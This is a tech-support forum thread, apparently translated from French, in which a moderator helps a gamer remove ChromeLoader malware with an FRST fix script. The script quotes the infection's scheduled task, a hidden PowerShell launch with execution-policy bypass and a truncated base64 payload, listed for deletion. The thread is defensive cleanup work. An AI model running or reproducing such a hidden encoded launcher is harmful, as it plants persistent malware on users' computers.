Ver originales (Francés)

Reinicio inesperado de Windows debido a PowerShell

Resuelto/Cerrado
Snake.Eater -  
Hola, conozco exactamente el mismo problema.
¿Sería posible recibir ayuda? gracias

He hecho un análisis con FRST.
Sin embargo, confieso que estoy perdido en los siguientes pasos a seguir.

Configuración: Windows / Chrome 97.0.4692.99

6 respuestas

  1.  bazfile Moderador
    Hola,
    Descarga FRST, una vez descargado guárdalo en el escritorio, luego haz clic derecho sobre FRST y elige Ejecutar como administrador. Verás esto:

    Haz clic en Analizar

    Atención, espera a que se muestren los mensajes que dicen que el análisis ha terminado



    Al final del análisis tendrás dos archivos de texto en el escritorio: FRST y Addition

    Luego envía los informes FRST y ADDITION a CJOINT, consulta ESTE TUTORIAL y luego proporciona los dos enlaces generados por Cjoint en tu respuesta.

    bazfile
    Moderador/Colaborador de seguridad.
    Un saludo, una respuesta, un agradecimiento siempre son bien recibidos.
    0
    2. bazfile Moderador
      Procedimiento a realizar en el orden indicado:
      1- Abre FRST como administrador, para ello haz clic derecho sobre FRST y elige ejecutar como administrador
      2 - Copia el script completo que está en el cuadro que sigue: 
      Start::
      CreateRestorePoint:
      CloseProcesses:
      HKLM\...\Run: [] => [X]
      HKLM-x32\...\Run: [] => [X]
      HKLM Restricción de política de grupo sobre software: %HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot% 
      HKLM Restricción de política de grupo sobre software: %HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir%
      GroupPolicy: Restricción ? 
      HKLM\SOFTWARE\Policies\Mozilla\Firefox: Restricción 
      HKLM\SOFTWARE\Policies\Google: Restricción
      Tarea: {253BC353-4705-4744-93F5-A80CD590F9F2} - \ChromeChecker -> No hay archivo
      Tarea: {58636649-8490-4B13-A840-5F263B4D3AE6} - System32\Tasks\ChromeUpdater => cmd /c start /min "" powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E JABlAHgAdABQAGEAdABoACAAPQAgACIAJAAoACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQApAFwAYwBoAHIAbwBtAGUAIgAKACQAYwBvAG4AZgBQAGEAdABoACAAPQAgACIAJABlAHgAdABQAGEAdABoAFwAYwBvAG4AZgAuAGoAcwAiAAoAJABhAHIAYwBoAGkAdgBlAE4AYQBtAGUAI (el elemento de datos tiene 4315 caracteres adicionales). 
      CHR StartupUrls: Predeterminado -> "hxxp://www.t411.me/"
      Tarea: {6069F6B5-1513-428D-B05E-49574CE64BB4} - \ChromeChecker -> No hay archivo 
      Tarea: {8A00D84D-9A38-431E-AA70-D8C587E355FF} - \ChromeLoader -> No hay archivo
      C:\Windows\system32\Tasks\ChromeUpdater
      FirewallRules: [TCP Query User{5DF2606E-0341-4E2B-B35E-73205C574B05}D:\games\the forest\theforest.exe] => (Permitir) D:\games\the forest\theforest.exe => No hay archivo
      FirewallRules: [UDP Query User{6352E93B-F278-4F0B-9A56-95BC4E2352FB}D:\games\the forest\theforest.exe] => (Permitir) D:\games\the forest\theforest.exe => No hay archivo
      FirewallRules: [TCP Query User{53BFFB89-0652-47F4-A264-EA9828C47E28}D:0\flightsimulator.exe] => (Permitir) D:0\flightsimulator.exe => No hay archivo
      FirewallRules: [UDP Query User{51A014B8-4B00-4687-8F16-865C1515ACF7}D:0\flightsimulator.exe] => (Permitir) D:0\flightsimulator.exe => No hay archivo
      FirewallRules: [TCP Query User{7075C3CA-56C7-4BB7-8FC1-5527AF6451FA}D:7\forzahorizon5.exe] => (Permitir) D:7\forzahorizon5.exe => No hay archivo
      FirewallRules: [UDP Query User{E8FD98A9-7931-4A5A-B974-6BB1BD274442}D:7\forzahorizon5.exe] => (Permitir) D:7\forzahorizon5.exe => No hay archivo
      FirewallRules: [TCP Query User{24768A3C-178A-4210-94FB-7332FFB87FE7}D:9\haloinfinite.exe] => (Permitir) D:9\haloinfinite.exe => No hay archivo
      FirewallRules: [UDP Query User{06A578E9-C1B6-4BA2-90BE-2F006BAC3192}D:9\haloinfinite.exe] => (Permitir) D:9\haloinfinite.exe => No hay archivo
      EmptyTemp:
      End::

      3- Una vez copiado el script, haz clic en Corregir, FRST tomará automáticamente el script que está en el portapapeles.



      Deja que la corrección se realice; una vez que haya terminado, se te pedirá que reinicies tu pc, hazlo tan pronto como se te solicite, ve a continuación.

      IUna vez que tu ordenador se haya reiniciado:

      4- Tendrás un archivo Fixlog en tu escritorio, luego envía estos informes a https://www.cjoint.com/ ver este tutorial, luego da el enlace generado por Cjoint en tu próximo mensaje.

      IMPORTANTE:

      5- Restablece Google Chrome con ESTE SOFTWARE.
      Luego:

      6- VERIFICA Y DIME SI TU PROBLEMA SIGUE PRESENTE

      .

      bazfile
      Moderador/Contribuyente de seguridad.
      un saludo, una respuesta, un agradecimiento siempre son bienvenidos.
      0
      1. Snake.Eater
        Una vez más, muchas gracias por esta rápida respuesta.
        Aquí está el enlace para el fixlog: https://www.cjoint.com/c/LAxn1uYsdiV

        Voy a reiniciar Chrome y ver si el problema persiste.

        Les informaré.
        0
        1. bazfile Moderador
          El fixlog está OK, la tarea programada responsable de tus problemas ha sido eliminada.
          1
        2. Snake.Eater
          @bazfile¡Sinceramente, ustedes son geniales!
          Me parece que el problema está bien resuelto.
          De hecho, solo por mi información personal, ¿cuál fue la fuente del problema?

          ¡Otra vez muchas gracias, por fin podré jugar sin volverme loco ^^!
          0
        3. bazfile Moderador
          @Snake.EaterEn tu PC se puede ver que esta infección ya ha estado presente y ha sido eliminada en 3 ocasiones: 
          Tarea: {6069F6B5-1513-428D-B05E-49574CE64BB4} - \ChromeChecker -> Sin archivo 
          Tarea: {8A00D84D-9A38-431E-AA70-D8C587E355FF} - \ChromeLoader -> Sin archivo
          Tarea: {253BC353-4705-4744-93F5-A80CD590F9F2} - \ChromeChecker -> Sin archivo


          Esta infección, que apareció a finales de 2021, generalmente está presente en los ordenadores de jugadores, llega a través de juegos pirateados descargados via torrents, también llega a través de sitios de streaming, así que ten cuidado con lo que descargas.

          Consulta ESTA PÁGINA.

          Puedes desinstalar FRST, cambia el nombre del archivo FRST que descargaste, renómbralo a uninstall, luego una vez renombrado, ábrelo, la desinstalación se realizará automáticamente mediante un reinicio del PC.
          0
      3. Snake.Eater
        De acuerdo, gracias.
        Es raro, porque pedí mi PC por internet a través de un sitio que ofrecía montarlo (agando), fue a principios de diciembre.

        Lo recibí la primera semana de enero, y siempre he tenido este problema. Además, no he pirateado ningún juego ni he estado en sitios de streaming.

        Sí, había visto eso en el post que me condujo a ustedes.

        Buena continuación y sinceramente me quedé sin ideas frente a mi problema.
        Gracias por tomarte el tiempo de responderme y ayudarme.
        0
        1. bazfile Moderador
          De nada.
          ¡Hasta luego en CCM!
          1
      4. biscuitmer
        Adición : https://www.cjoint.com/c/LBcpzBDLIam
        FRST : https://www.cjoint.com/c/LBcpzVfwMWm
        0
        1. MisteryBean Moderador

          Hola

          ¡Crea tu propio tema con Hola, ¡será mejor!!!!!
          0